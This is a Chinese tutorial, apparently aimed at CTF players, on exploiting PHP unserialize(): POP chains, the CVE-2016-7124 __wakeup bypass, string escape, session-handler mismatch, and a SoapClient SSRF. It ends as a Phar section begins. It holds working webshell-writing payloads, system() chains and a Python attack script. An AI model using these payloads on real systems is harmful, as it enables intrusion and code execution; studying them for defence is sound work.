梳理 PHP 序列化机制、魔术方法触发链、POP 链构造、主流框架利用、绕过技巧及 CTF 实战方法。
一、PHP 序列化基础
1.1 序列化格式详解
<?php
// ── 基本类型序列化 ──
serialize(null); // N;
serialize(true); // b:1;
serialize(false); // b:0;
serialize(42); // i:42;
serialize(3.14); // d:3.14;
serialize("hello"); // s:5:"hello";
serialize([1, 2, 3]); // a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}
serialize(["k" => "v"]); // a:1:{s:1:"k";s:1:"v";}
// ── 对象序列化 ──
class User {
public $name = "alice";
protected $role = "user";
private $token = "secret";
}
$u = new User();
echo serialize($u);
// O:4:"User":3:{
// s:4:"name"; s:5:"alice";
// s:7:"\x00*\x00role"; s:4:"user";
// s:11:"\x00User\x00token"; s:6:"secret";
// }
1.2 序列化格式语法表
| 标识符 |
含义 |
示例 |
N; |
null |
N; |
b:0/1; |
bool |
b:1; |
i:n; |
integer |
i:42; |
d:n; |
float |
d:3.14; |
s:len:"str"; |
string |
s:5:"hello"; |
a:n:{...} |
array,n 为元素数 |
a:2:{i:0;i:1;i:1;i:2;} |
O:len:"ClassName":n:{...} |
对象,n 为属性数 |
O:4:"User":1:{...} |
C:len:"ClassName":len:{data} |
实现 Serializable 的对象 |
|
R:n; |
引用,n 为变量编号 |
R:2; |
r:n; |
对象引用 |
r:2; |
1.3 属性访问修饰符与序列化
<?php
class Demo {
public $pub = "public"; // 键名:s:3:"pub"
protected $prot = "protected"; // 键名:s:7:"\x00*\x00prot"(\x00*\x00前缀)
private $priv = "private"; // 键名:s:12:"\x00Demo\x00priv"(\x00类名\x00前缀)
static $stat = "static"; // 静态属性不参与序列化!
}
// ── 反序列化时属性键名的处理 ──
// public → 直接使用属性名
// protected → %00*%00属性名 (URL 编码表示 \x00)
// private → %00类名%00属性名
// ── 构造含 protected/private 属性的 Payload ──
// 方法一:直接在 PHP 中序列化后输出
$obj = new Demo();
$serialized = serialize($obj);
echo bin2hex($serialized); // 查看十六进制,确认 \x00 字节
// 方法二:手动构造(注意 \x00 是一个字节,URL 编码为 %00)
$payload = 'O:4:"Demo":2:{s:3:"pub";s:6:"public";s:7:"' .
"\x00*\x00" . 'prot";s:9:"protected";}';
// ── 长度计算注意事项 ──
// "\x00*\x00prot" 实际长度:1+1+1+4 = 7(\x00 各占 1 字节)
// "\x00Demo\x00priv" 实际长度:1+4+1+4 = 10
1.4 反序列化函数
<?php
// ── 主要反序列化入口 ──
// 1. unserialize():最直接的入口
$obj = unserialize($_GET['data']);
$obj = unserialize(base64_decode($_COOKIE['user']));
$obj = unserialize(file_get_contents('user.dat'));
// 2. unserialize() 带 allowed_classes(PHP 7.0+)
$obj = unserialize($data, ['allowed_classes' => ['SafeClass']]);
$obj = unserialize($data, ['allowed_classes' => false]); // 禁止所有类
// 3. session_start() → 从 session 文件反序列化
session_start(); // 若 session 内容可控 → 反序列化
// 4. preg_replace 的 /e 修饰符(PHP < 7.0,已废弃)
preg_replace('/.*/e', $_GET['code'], ''); // 直接代码执行
// 5. 各种间接触发
// YAML::parse → 某些库触发序列化
// XML 解析 → 某些库存在序列化入口
// ORM 的 __sleep/__wakeup 机制
// ── 危险:用户可控的反序列化 ──
// GET/POST 参数直接反序列化
$data = $_GET['obj'];
$obj = unserialize($data); // ← 漏洞入口
// Cookie 中的序列化数据
$user = unserialize(base64_decode($_COOKIE['user_data']));
// 文件内容反序列化
$cache = unserialize(file_get_contents("/tmp/cache_{$id}"));
二、魔术方法详解
2.1 魔术方法触发条件速查
| 魔术方法 |
触发时机 |
利用价值 |
__construct() |
对象实例化时 |
❌ 反序列化不触发 |
__destruct() |
对象销毁时(GC/脚本结束) |
⭐⭐⭐ 链尾执行 |
__wakeup() |
unserialize() 调用后 |
⭐⭐⭐ 链头触发 |
__sleep() |
serialize() 调用前 |
— |
__toString() |
对象当字符串使用时 |
⭐⭐⭐ 中间跳板 |
__invoke() |
对象当函数调用时 |
⭐⭐⭐ 中间跳板 |
__get($name) |
访问不可访问/不存在属性时 |
⭐⭐⭐ 中间跳板 |
__set($name, $val) |
设置不可访问属性时 |
⭐⭐ |
__isset($name) |
isset()/empty() 调用时 |
⭐⭐ |
__unset($name) |
unset() 调用时 |
⭐⭐ |
__call($name, $args) |
调用不可访问方法时 |
⭐⭐⭐ 中间跳板 |
__callStatic($name, $args) |
静态调用不可访问方法时 |
⭐⭐ |
__clone() |
clone 对象时 |
⭐ |
__debugInfo() |
var_dump() 时 |
⭐ |
2.2 各魔术方法详细说明
<?php
class MagicDemo {
public $data;
public $callback;
public $obj;
// ── __wakeup:链的起点 ──
// 在 unserialize() 完成对象重建后立即调用
// 常用于:初始化操作(打开文件、数据库连接等)
public function __wakeup() {
echo "[*] __wakeup 触发\n";
// 常见利用:调用 $this->data 中存储的方法
if ($this->obj) {
$this->obj->init(); // 可触发 obj 的 __call 等
}
}
// ── __destruct:链的终点 ──
// 脚本结束或 unset() 时触发
// 几乎不可避免地触发(除非提前销毁)
public function __destruct() {
echo "[*] __destruct 触发\n";
// 常见利用:执行文件操作、命令执行
if (isset($this->data)) {
file_put_contents($this->data['file'], $this->data['content']);
}
}
// ── __toString:字符串上下文跳板 ──
// 触发场景:echo $obj, $obj . "str", (string)$obj
// in_array($obj, $arr), array_search($obj, $arr) 等
public function __toString() {
echo "[*] __toString 触发\n";
return $this->callback->show(); // 触发 callback 对象的方法
}
// ── __invoke:被当作函数调用时 ──
// 触发场景:$obj(), call_user_func($obj, ...), usort($arr, $obj)
public function __invoke($arg) {
echo "[*] __invoke 触发\n";
return $this->callback($arg); // 进一步调用
}
// ── __get:访问不存在/不可访问属性时 ──
// 触发场景:$obj->undefinedProp, $obj->privateProp(外部访问)
public function __get($name) {
echo "[*] __get($name) 触发\n";
return $this->data[$name]; // 可引发进一步操作
}
// ── __call:调用不存在/不可访问方法时 ──
// 触发场景:$obj->undefinedMethod()
public function __call($name, $args) {
echo "[*] __call($name) 触发\n";
return call_user_func($this->callback, $args[0]); // 调用回调
}
}
2.3 链式触发示意
反序列化触发链示意图:
unserialize($payload)
│
▼
__wakeup() ──→ 访问属性 ──→ __get()
│ │
▼ ▼
__destruct() ──→ 使用字符串 ──→ __toString()
│ │
▼ ▼
文件写入/命令执行 调用为函数 ──→ __invoke()
│
▼
call_user_func()
│
▼
RCE / 文件操作
三、反序列化漏洞原理
3.1 漏洞形成条件
PHP 反序列化漏洞的形成需要:
① 用户可控的反序列化入口
unserialize($userInput)
unserialize(base64_decode($_COOKIE['data']))
unserialize(file_get_contents($userControlledPath))
② 目标代码库中存在可利用的类
含有危险操作的魔术方法(文件读写、命令执行、eval 等)
或者可以通过方法跳转最终到达危险操作
③ 这些类在反序列化时可以被加载(已 include/require)
框架的自动加载机制大大扩展了可用类的范围
注意:不需要目标代码中存在显式的 new DangerousClass()
只需要这些类被 autoload 机制加载即可!
3.2 一个简单的漏洞示例
<?php
// ── 目标代码(vulnerable.php)──
class Logger {
public $logFile = "/var/log/app.log";
public $logData = "";
public function __destruct() {
// 对象销毁时将数据写入日志文件
file_put_contents($this->logFile, $this->logData, FILE_APPEND);
}
}
// 漏洞入口:直接反序列化用户输入
$data = unserialize(base64_decode($_GET['obj']));
echo "Done";
<?php
// ── 攻击者构造 Payload ──
class Logger {
public $logFile = "/var/www/html/shell.php"; // 控制写入路径
public $logData = "<?php system(\$_GET['cmd']); ?>"; // 写入 WebShell
}
$evil = new Logger();
$payload = base64_encode(serialize($evil));
echo $payload;
// 访问:vulnerable.php?obj=<payload>
// 脚本结束时 __destruct 被触发
// 在 Web 根目录写入 WebShell!
3.3 反序列化攻击面分类
Web 反序列化入口:
├── GET/POST 参数
│ └── unserialize($_GET['data'])
├── Cookie
│ └── unserialize(base64_decode($_COOKIE['user']))
├── HTTP 头
│ └── unserialize($_SERVER['HTTP_X_DATA'])
├── 文件上传内容
│ └── unserialize(file_get_contents($uploadedFile))
├── Session
│ └── session_start() 自动反序列化 session 文件
├── Phar 文件
│ └── file_exists("phar://evil.phar/test")
├── 数据库读取
│ └── unserialize($row['serialized_data'])
└── Redis/Memcached 缓存
└── unserialize($redis->get('user_cache'))
四、POP 链构造原理
4.1 什么是 POP 链
POP Chain(Property-Oriented Programming,面向属性编程)
核心思想:
不需要写任何代码,只需要控制现有代码中对象的属性
通过"属性"驱动程序执行流,最终到达危险函数
与 ROP(Return-Oriented Programming)类比:
ROP:利用程序中的 gadget(代码片段)+ 控制栈 → RCE
POP:利用类中的魔术方法(gadget)+ 控制属性 → RCE
构造步骤:
1. 寻找"危险操作"(eval / system / file_put_contents 等)
2. 向上追溯:什么调用了危险操作?
3. 继续向上:什么触发了这个调用?
4. 找到链头:某个魔术方法(__wakeup / __destruct)
5. 将所有类的属性设置为期望值
6. 序列化整个对象图
4.2 POP 链构造实战
<?php
// ── 目标代码(代码库中已有这些类)──
class A {
public $obj;
// 链头:反序列化后触发
public function __wakeup() {
$this->obj->action(); // 调用 obj 的 action 方法
}
}
class B {
public $cmd;
// 中间跳板:action 方法不存在时触发 __call
// 但若 action 存在于父类... 此处假设直接有 action
public function action() {
// 什么都不做(安全的类,不能直接利用)
echo "B::action called\n";
}
}
class C {
public $func;
public $arg;
// 中间跳板:被当作字符串时触发
public function __toString() {
return call_user_func($this->func, $this->arg); // 危险!
}
}
class D {
public $filename;
public $content;
// 链尾:action 方法包含危险操作
public function action() {
file_put_contents($this->filename, $this->content); // 写文件!
}
}
<?php
// ── 分析与构造 POP 链 ──
// 目标:写入 WebShell
// 链:A.__wakeup → D.action → file_put_contents
// 注意:
// 若直接 A.obj = new D(),则 A.__wakeup 调用 D.action() → 写文件 ✓
// 但如果需要更复杂的链:
// 复杂链(绕过某些检查):
// A.__wakeup → B.action(输出一个对象触发 __toString)→ C.__toString → call_user_func
// ── 构造 Payload ──
class A {
public $obj;
}
class D {
public $filename;
public $content;
}
$d = new D();
$d->filename = "/var/www/html/shell.php";
$d->content = "<?php @eval(\$_POST['cmd']); ?>";
$a = new A();
$a->obj = $d;
$payload = serialize($a);
echo base64_encode($payload);
// 发送:?data=<base64_payload>
// 触发:A.__wakeup → D.action → 写入 WebShell
4.3 长链构造模板
<?php
// ── 典型长链结构 ──
// 入口类(含 __wakeup / __destruct)
class Entry {
public $next; // 指向下一个对象
public function __destruct() {
$this->next->trigger(); // 触发下一个节点
}
}
// 跳板类 1(含 __toString)
class Bridge1 {
public $obj;
public function trigger() {
echo $this->obj; // 对象用于字符串上下文 → __toString
}
}
// 跳板类 2(含 __invoke)
class Bridge2 {
public $handler;
public function __toString() {
return ($this->handler)(); // 对象当函数调用 → __invoke
}
}
// 跳板类 3(含 __call)
class Bridge3 {
public $target;
public function __invoke() {
$this->target->execute(); // 调用不存在的方法 → __call
}
}
// 执行类(含危险操作)
class Executor {
public $cmd;
public function __call($name, $args) {
system($this->cmd); // RCE!
}
}
// ── 组装链 ──
function build_chain($cmd) {
$exec = new Executor();
$exec->cmd = $cmd;
$b3 = new Bridge3();
$b3->target = $exec;
$b2 = new Bridge2();
$b2->handler = $b3;
$b1 = new Bridge1();
$b1->obj = $b2;
$entry = new Entry();
$entry->next = $b1;
return serialize($entry);
}
echo base64_encode(build_chain("cat /flag"));
4.4 POP 链挖掘方法
手动挖掘步骤:
① 确定可用类集合
扫描所有已 include/require 的文件
检查 autoload 机制覆盖的目录
composer 项目中 vendor/ 下的所有类
② 寻找链尾(Sink)
grep -r "system\|exec\|passthru\|shell_exec\|eval\|assert" --include="*.php"
grep -r "file_put_contents\|file_get_contents\|unlink\|rename" --include="*.php"
grep -r "include\|require\|preg_replace.*\/e" --include="*.php"
grep -r "call_user_func\|call_user_func_array" --include="*.php"
③ 向上追溯调用链
找到包含 sink 的方法
寻找哪些魔术方法可以触发这些方法
构造调用路径
④ 使用自动化工具
phpggc:PHP 通用 POP 链生成工具
php-gadget-chain:gadget 搜索工具
五、属性类型与访问控制绕过
5.1 手动构造含特殊属性的序列化字符串
<?php
// ── 构造含 protected 属性的 Payload ──
// 方式一:在 PHP 中直接序列化(推荐)
class Target {
protected $action;
protected $target;
}
$t = new Target();
// 利用反射或直接赋值(若有访问器)绕过访问控制
// 通常在 CTF 中我们直接定义相同属性名的类
$payload = serialize($t);
// 将输出:O:6:"Target":2:{s:9:"\x00*\x00action";N;s:9:"\x00*\x00target";N;}
// 方式二:直接字符串拼接构造
// protected 属性键名格式:"\x00*\x00" + 属性名
$protected_key = "\x00*\x00action";
$payload = 'O:6:"Target":1:{s:' . strlen($protected_key) . ':"' .
$protected_key . '";s:6:"system";}';
// 方式三:使用 PHP 脚本输出并 URL 编码
$obj = new Target();
$s = serialize($obj);
// 发送时确保 %00 正确传递(POST body 比 GET query 更可靠)
# ── Python 构造含特殊字节的 PHP 序列化 Payload ──
import base64
def build_php_serialize(classname: str, props: dict) -> bytes:
"""
构造 PHP 序列化字符串
props: {"属性名": ("访问修饰符", "值")}
访问修饰符: "public", "protected", "private"
"""
parts = []
for prop_name, (access, value) in props.items():
if access == "public":
key = prop_name.encode()
elif access == "protected":
key = b"\x00*\x00" + prop_name.encode()
else: # private
key = b"\x00" + classname.encode() + b"\x00" + prop_name.encode()
key_part = b"s:" + str(len(key)).encode() + b':"' + key + b'";'
if isinstance(value, str):
val_enc = value.encode()
val_part = b"s:" + str(len(val_enc)).encode() + b':"' + val_enc + b'";'
elif isinstance(value, int):
val_part = b"i:" + str(value).encode() + b";"
elif value is None:
val_part = b"N;"
else:
val_part = value # 已序列化的子对象
parts.append(key_part + val_part)
body = b"".join(parts)
cn = classname.encode()
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
+ str(len(props)).encode() + b":{" + body + b"}")
# 使用示例
payload = build_php_serialize("User", {
"name": ("public", "admin"),
"role": ("protected", "administrator"),
"token": ("private", "secret_token"),
})
print(base64.b64encode(payload).decode())
5.2 属性数量绕过检查
<?php
// ── 场景:代码检查属性数量 ──
class Config {
public $debug = false;
public $allowed = [];
private $secret = "real_secret";
}
// 某些"防护"代码检查:
if (preg_match('/O:\d+:"Config":\d+:/', $serialized)) {
// 检查属性数量是否与原始类一致...
// 但这种检查往往不完整
}
// ── 利用多余属性绕过检查 ──
// PHP 反序列化时,额外的属性会被忽略(不会报错)
// 但已定义的属性会被赋值
// → 可以在序列化字符串中添加任意属性
// ── 利用属性覆盖 ──
// PHP 允许在序列化中出现重复键,后者覆盖前者
$evil = 'O:6:"Config":4:{' .
's:5:"debug";b:1;' . // 设置 debug=true
's:7:"allowed";a:0:{}' . // 设置 allowed=[]
's:14:"\x00Config\x00secret";s:4:"evil";' . // 覆盖 private 属性
's:5:"extra";s:6:"inject";}'; // 额外属性(被忽略,但可用于某些注入)
六、常见利用类与内置类
6.1 常用危险 Gadget 类
<?php
// ── 场景一:含 system/exec 的 __destruct ──
class FileManager {
public $command;
public function __destruct() {
system($this->command); // 直接 RCE
}
}
// Payload:O:11:"FileManager":1:{s:7:"command";s:2:"id";}
// ── 场景二:含 file_put_contents 的 __destruct ──
class Logger {
public $filename;
public $content;
public function __destruct() {
file_put_contents($this->filename, $this->content); // 写文件
}
}
// Payload:写 WebShell
// ── 场景三:含 include 的 __toString ──
class Template {
public $tplFile;
public function __toString() {
include $this->tplFile; // 文件包含 → 配合 phar:// 利用
return "";
}
}
// ── 场景四:call_user_func 的 __call ──
class Dispatcher {
public $handlers;
public function __call($name, $args) {
call_user_func($this->handlers[$name], ...$args); // 任意函数调用
}
}
// ── 场景五:eval 的 __invoke ──
class Evaluator {
public $code;
public function __invoke() {
eval($this->code); // 直接 RCE
}
}
6.2 PHP 内置类利用
<?php
// ── Exception 类:包含 __toString 方法 ──
// Exception::__toString() 返回异常信息字符串
// 可作为触发 __toString 的跳板
$e = new Exception("payload");
echo $e; // 触发 __toString,输出格式化的异常信息
// ── Error 类(PHP 7+)──
$err = new Error("message");
echo $err; // 同 Exception,触发 __toString
// ── SplDoublyLinkedList / SplStack / SplQueue ──
// 这些类在 foreach 遍历时会触发 rewind/next 等
// 某些版本中存在可利用的行为
// ── ArrayObject ──
$ao = new ArrayObject(['key' => 'value']);
$ao->offsetGet('key'); // 可触发各种操作
// ── SimpleXMLElement ──
$xml = new SimpleXMLElement('<root><data>test</data></root>');
// 属性访问可触发各种操作
// ── GlobIterator:利用 Glob 遍历文件 ──
$iter = new GlobIterator("/etc/pass*");
foreach ($iter as $file) {
echo $file->getPathname(); // 列出文件名
}
// 可用于:通过 __toString 触发 GlobIterator 遍历
// 在某些场景下读取文件名(信息泄露)
// ── SplFileObject:读取文件 ──
// 常见 CTF 用法:利用 SplFileObject 读取任意文件
$f = new SplFileObject("/etc/passwd");
$f->current(); // 读取第一行
// 或配合 fgets:
while (!$f->eof()) {
echo $f->fgets();
}
6.3 SSRF / 文件读取内置类
<?php
// ── SoapClient 内置类:SSRF ──
// PHP 内置,无需额外依赖
// __call 方法会发起 HTTP(S) SOAP 请求
$soap = new SoapClient(null, [
'uri' => 'http://attacker.com/ssrf', // 控制请求 URI
'location' => 'http://internal-service/api', // 控制请求目标
]);
// 触发:调用 SoapClient 的任意方法(如 $soap->anyMethod())
// → 发送 POST 请求到 location
// → 实现 SSRF!
// ── 构造 SSRF Payload ──
class SoapClient {
// 在攻击者环境中重新定义(仅用于生成序列化数据)
}
$soap = new SoapClient(null, [
'uri' => 'http://attacker.com',
'location' => 'http://127.0.0.1:6379/', // 攻击 Redis
'user_agent' => "evil\r\nX-Forwarded-For: 127.0.0.1\r\n", // 注入 HTTP 头
]);
// 更完整的 SSRF + CRLF 注入
$soap = new SoapClient(null, [
'uri' => 'http://attacker.com',
'location' => 'http://127.0.0.1:80/',
'user_agent' => "User-Agent: Mozilla\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 10\r\n\r\npayload=xx",
]);
// 序列化后发送,触发时发起带自定义 HTTP 头的请求
$payload = serialize($soap);
// 发送后,当目标代码调用 $unserialized->anyMethod() 时触发 SSRF
七、__wakeup 绕过(CVE-2016-7124)
7.1 漏洞原理
CVE-2016-7124
影响版本:
PHP 5.x < 5.6.25
PHP 7.x < 7.0.10
原理:
当序列化字符串中声明的对象属性数量
大于实际定义的属性数量时
__wakeup() 方法不会被调用!
正常流程:
unserialize() → 还原对象 → 调用 __wakeup() → 使用对象
绕过后流程:
unserialize() → 还原对象 → __wakeup() 被跳过 → 直接使用对象 → __destruct()
利用场景:
当 __wakeup() 中包含安全检查(如重置危险属性)时
通过该漏洞绕过检查,直接触发 __destruct()
7.2 绕过示例
<?php
// ── 目标代码 ──
class Evil {
public $cmd = "id";
// __wakeup 尝试阻止利用
public function __wakeup() {
$this->cmd = ""; // 清空命令(安全检查)
echo "[!] __wakeup: 已清空 cmd\n";
}
// __destruct 执行命令
public function __destruct() {
if (!empty($this->cmd)) {
system($this->cmd); // RCE
}
}
}
// ── 正常序列化 ──
$obj = new Evil();
$obj->cmd = "id";
$normal = serialize($obj);
echo $normal . "\n";
// O:4:"Evil":1:{s:3:"cmd";s:2:"id";}
// 反序列化时:__wakeup 清空 cmd → __destruct 不执行命令
// ── CVE-2016-7124 绕过 ──
// 将属性数量从 1 改为 2(大于实际属性数)
$bypass = 'O:4:"Evil":2:{s:3:"cmd";s:2:"id";}';
// ↑ 改为 2(实际只有 1 个属性)
// 反序列化时:__wakeup 被跳过 → __destruct 正常执行 → RCE!
$evil = unserialize($bypass);
// 输出:uid=33(www-data) ...
# ── Python 自动生成 CVE-2016-7124 Payload ──
import re, base64
def wakeup_bypass(serialized: bytes) -> bytes:
"""
自动将序列化字符串中的对象属性计数 +1
触发 CVE-2016-7124 绕过 __wakeup
"""
# 匹配 O:len:"ClassName":count: 模式
pattern = rb'(O:\d+:"[^"]+":)(\d+):'
def increment(m):
count = int(m.group(2)) + 1
return m.group(1) + str(count).encode() + b':'
return re.sub(pattern, increment, serialized)
# 示例
original = b'O:4:"Evil":1:{s:3:"cmd";s:7:"cat /flag";}'
bypassed = wakeup_bypass(original)
print(f"原始: {original}")
print(f"绕过: {bypassed}")
print(f"Base64: {base64.b64encode(bypassed).decode()}")
7.3 嵌套对象的 __wakeup 绕过
<?php
// ── 嵌套对象场景 ──
class Outer {
public $inner;
public function __wakeup() {
$this->inner = null; // 清空内部对象(安全检查)
}
}
class Inner {
public $cmd;
public function __destruct() {
if ($this->cmd) system($this->cmd);
}
}
// 正常 Payload(会被 __wakeup 破坏):
// O:5:"Outer":1:{s:5:"inner";O:5:"Inner":1:{s:3:"cmd";s:2:"id";}}
// CVE-2016-7124 绕过(Outer 属性数 1→2,跳过 __wakeup):
$bypass = 'O:5:"Outer":2:{s:5:"inner";O:5:"Inner":1:{s:3:"cmd";s:2:"id";}}';
// ↑ 仅修改最外层对象的属性计数
八、引用绕过与属性注入
8.1 引用绕过
<?php
// ── 引用绕过场景 ──
// 某些代码反序列化后对属性进行检查并修改
// 通过引用,修改一个变量会同时修改另一个
class User {
public $isAdmin = false;
public $role = "guest";
public function __wakeup() {
// "安全检查":强制设置 isAdmin 为 false
$this->isAdmin = false;
}
}
// ── 使用引用绕过 ──
// 让 isAdmin 和另一个我们可控的属性指向同一个变量
// 当 __wakeup 清空 isAdmin 时,不影响其他路径
// 序列化时使用 & 建立引用关系
// PHP 序列化中引用:R:变量编号
// 例:让 role 引用 isAdmin(共享内存)
// O:4:"User":2:{s:7:"isAdmin";b:1;s:4:"role";R:2;}
// ← 这里 R:2 表示 role 引用第 2 个变量(isAdmin)
// 但 __wakeup 重置了 isAdmin → role 也被清空
// 反过来利用:让某个不被检查的属性 引用 危险属性
8.2 对象注入技巧
<?php
// ── 数组中嵌入对象 ──
// 某些代码接受数组格式的序列化,但内部会处理其中的对象
// 合法输入期望:a:2:{s:4:"name";s:5:"alice";s:3:"age";i:20;}
// 注入 Evil 对象:
$evil_payload = 'a:2:{' .
's:4:"name";O:4:"Evil":1:{s:3:"cmd";s:2:"id";}' . // 注入对象
's:3:"age";i:20;}';
// ── 字符串与对象的互转 ──
// 某些 PHP 版本/配置下,类型转换可以触发魔术方法
class Tricky {
public function __toString() {
system("id");
return "";
}
}
$t = new Tricky();
// 若代码中有:(string)$obj, "$obj", echo $obj 等 → 触发
九、字符串逃逸技术
9.1 序列化字符串逃逸原理
字符串逃逸(String Escape in Serialization)
背景:
某些应用在序列化前对对象属性进行过滤/修改
如果过滤操作改变了字符串长度(增长或缩短)
可能导致序列化结构被破坏,从而注入额外数据
原理(增多):
若过滤将 n 个字符替换为 m 个字符(m > n)
字符串长度增大,但序列化中声明的长度仍是原始长度
→ 序列化解析器读取"多余"的字节
→ 这些多余字节可能是我们注入的序列化片段
原理(减少):
若过滤将 m 个字符替换为 n 个字符(n < m)
字符串长度减小,但声明的长度更大
→ 解析器越界读取,吃掉后续的序列化结构
→ 可以让解析器"跳过"后续属性的读取
→ 注入的新属性替代了被跳过的原有属性
9.2 增多逃逸(字符数增加)
<?php
// ── 场景:过滤函数让字符串变长 ──
// 过滤规则:将 "on" 替换为 "no"(等长,无效)
// 将 "evil" 替换为 "good_____"(4→9,增加 5 个字符)
function filter($str) {
return str_replace("evil", "good_____", $str);
}
class User {
public $name;
public $isVip = false;
}
// 目标:控制 isVip = true
// 服务器端代码(漏洞版):
$user = new User();
$user->name = $_GET['name']; // 用户输入
$serialized = serialize($user);
$filtered = filter($serialized); // 过滤后再存储
$restored = unserialize($filtered); // 反序列化使用
// ── 构造注入 Payload ──
// 原始序列化(name = "test"):
// O:4:"User":2:{s:4:"name";s:4:"test";s:5:"isVip";b:0;}
// 目标注入:让解析器读取我们注入的 isVip
// 注入字符串:
// 在 name 值中构造:[填充] + ";s:5:"isVip";b:1;}
// 每个 "evil" 被替换为 "good_____"(增加 5 字符)
// 通过填充多个 "evil" 来增加字符串长度
// 使序列化解析器认为 name 的值包含了注入的片段
// 设 name = "evilevilevilevil" + '";s:5:"isVip";b:1;}'
// 每个 evil(4) → good_____(9),增加 5
// 4 个 evil → 增加 20 字符
// 这样 name 的值在过滤后实际长度 = 16 + 20 + 19 = 55
// 但声明长度仍为 4*4 + 19 = 35... (需要精确计算)
// 精确计算逃逸的注入点数量:
$inject = '";s:5:"isVip";b:1;}'; // 19 个字符
$inject_len = strlen($inject); // 19
// 需要逃逸 19 个字符
// 每个 "evil"(4) → "good_____"(9),净增 5
// 需要 ceil(19/5) = 4 个 "evil"(增加 20 字符)
// 但实际只需逃逸 19 个:需要 19 个 "evil" × ?
// 若每个增加 1 个字符:需要 19 个 evil(每次增加 1 字符)
// 若每个增加 5 个字符:需要 4 个 evil + 1 个单字符(ceil(19/5)=4,余 19-4*5=-1,不整除时需调整)
// 关键:逃逸长度 = 注入字符串长度 / 每次增加的字符数(必须整除!)
#!/usr/bin/env python3
"""
PHP 序列化字符串逃逸 Payload 生成器
"""
def calc_escape_payload(
inject: str, # 要注入的序列化片段
replace_from: str, # 过滤替换的源字符串
replace_to: str, # 过滤替换的目标字符串
) -> str:
"""
计算增多逃逸需要的填充量
当 len(replace_to) > len(replace_from) 时(字符串增多)
每次替换净增 delta = len(replace_to) - len(replace_from) 个字符
需要 ceil(len(inject) / delta) 次替换使注入字符串"逃出"声明范围
"""
delta = len(replace_to) - len(replace_from)
if delta <= 0:
raise ValueError("需要净增大的替换规则(len(to) > len(from))")
if len(inject) % delta != 0:
raise ValueError(f"注入长度 {len(inject)} 必须是 delta={delta} 的整数倍")
n = len(inject) // delta
padding = replace_from * n # 填充 n 个 replace_from
return padding + inject
# 示例
inject = '";s:5:"isVip";b:1;}' # 19 chars
# 若过滤:每个 "a"(1) → "aa"(2),净增 1
padding = calc_escape_payload(inject, "a", "aa")
print(f"name 的值设为:{repr(padding)}")
print(f"长度:{len(padding)}")
9.3 减少逃逸(字符数减少)
<?php
// ── 字符数减少的逃逸 ──
// 过滤将 "admin"(5) → ""(0),减少 5 个字符
function filter_decrease($str) {
return str_replace("admin", "", $str);
}
// 序列化后的结构(简化):
// O:4:"User":2:{s:4:"name";s:10:"test_admin";s:5:"isVip";b:0;}
// ↑ 原始长度声明为 10
// 过滤后:name 的实际内容变为 "test_"(长度 5)
// 但声明的长度仍是 10!
// 解析器期望读取 10 个字符,但只有 5 个是 name 的内容
// → 解析器继续读取后面的 5 个字节(来自后续的结构 ";s:5:")
// → 把这 5 字节当作 name 的值的一部分
// → 原来的 isVip 字段的 key 声明 "s:5:" 被"消耗"
// → 后续解析混乱,可以注入我们想要的属性值!
// 精确利用减少逃逸较复杂,需要精确计算"吃掉"多少字符
// 一般使用工具辅助计算
十、Session 反序列化
10.1 PHP Session 处理器差异
PHP Session 反序列化漏洞
背景:
PHP 支持多种 session 序列化格式
不同处理器对相同数据的解析方式不同
三种 Session 处理器:
① php_serialize → serialize() / unserialize()
格式:serialize()的标准格式
② php(默认) → 键名|序列化值
格式:username|s:5:"alice";role|s:4:"user";
③ php_binary → 键名长度(1字节)键名序列化值
格式:\x08username<序列化值>
漏洞场景:
存储时使用 php_serialize 处理器
读取时使用 php(默认)处理器
↓
php_serialize 存储:a:1:{s:4:"user";s:5:"alice";}
php 读取时以 | 为分隔符解析:
键名 = 'a:1:{s:4:"user"'
值 = 's:5:"alice";}' ← 被作为序列化字符串反序列化!
10.2 Session 反序列化利用
<?php
// ── 场景一:写入阶段使用 php_serialize ──
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// 用户可控 session 内容写入
$_SESSION['username'] = $_POST['username'];
// 若 username = |O:4:"Evil":1:{s:3:"cmd";s:2:"id";}
// 存储内容:a:1:{s:8:"username";s:42:"|O:4:"Evil":1:{s:3:"cmd";s:2:"id";}";}
// ── 场景二:读取阶段使用 php(默认)──
ini_set('session.serialize_handler', 'php');
session_start();
// php 处理器遇到 | 符号就分割
// | 之前:a:1:{s:8:"username";s:42:" ← 作为键名(无意义)
// | 之后:O:4:"Evil":1:{s:3:"cmd";s:2:"id";} ← 被反序列化!
// ── 攻击步骤 ──
// 1. 找到使用 php_serialize 存储 session 的接口
// 在该接口的 session 字段中注入:|<恶意序列化字符串>
// 2. 找到使用 php(默认)读取 session 的接口
// 该接口触发反序列化 → RCE
#!/usr/bin/env python3
"""Session 反序列化利用脚本"""
import requests
TARGET = "http://target.com"
WRITE_URL = f"{TARGET}/login.php" # 使用 php_serialize 的接口
READ_URL = f"{TARGET}/profile.php" # 使用 php(默认)的接口
# 构造恶意序列化字符串
EVIL_CLASS = "Evil"
EVIL_CMD = "cat /flag"
evil_ser = f'O:{len(EVIL_CLASS)}:"{EVIL_CLASS}":1:{{s:3:"cmd";s:{len(EVIL_CMD)}:"{EVIL_CMD}";}}'
# Session 反序列化 Payload:以 | 开头
payload = "|" + evil_ser
# 步骤 1:写入恶意 Session
s = requests.Session()
r = s.post(WRITE_URL, data={"username": payload, "password": "test"})
print(f"[*] 写入 Session: {r.status_code}")
# 步骤 2:触发反序列化
r = s.get(READ_URL)
print(f"[*] 触发反序列化: {r.status_code}")
print(f"[*] 响应: {r.text[:500]}")
10.3 Session 文件路径利用
<?php
// ── Session 文件路径泄露 + LFI ──
// Session 文件默认存储在 /tmp/sess_<SESSIONID>
// 格式:/tmp/sess_abc123def456
// 利用流程:
// 1. 注册账号,Session ID 可预测或可观察(Cookie 中的 PHPSESSID)
// 2. 在某个字段写入 PHP 代码(不一定是 session 注入,但 session 文件包含该字段)
// 3. 找到 LFI 漏洞包含 /tmp/sess_<SESSIONID>
// 4. 触发代码执行
// 写入恶意内容到 session
session_start();
$_SESSION['avatar'] = '<?php system($_GET["cmd"]); ?>';
// Session 文件 /tmp/sess_xxx 包含了 PHP 代码
// LFI 触发(如:include.php?file=/tmp/sess_xxx)
// → 包含 session 文件 → 执行其中的 PHP 代码 → RCE
十一、Phar 反序列化
11.1 Phar 基础
Phar(PHP Archive):
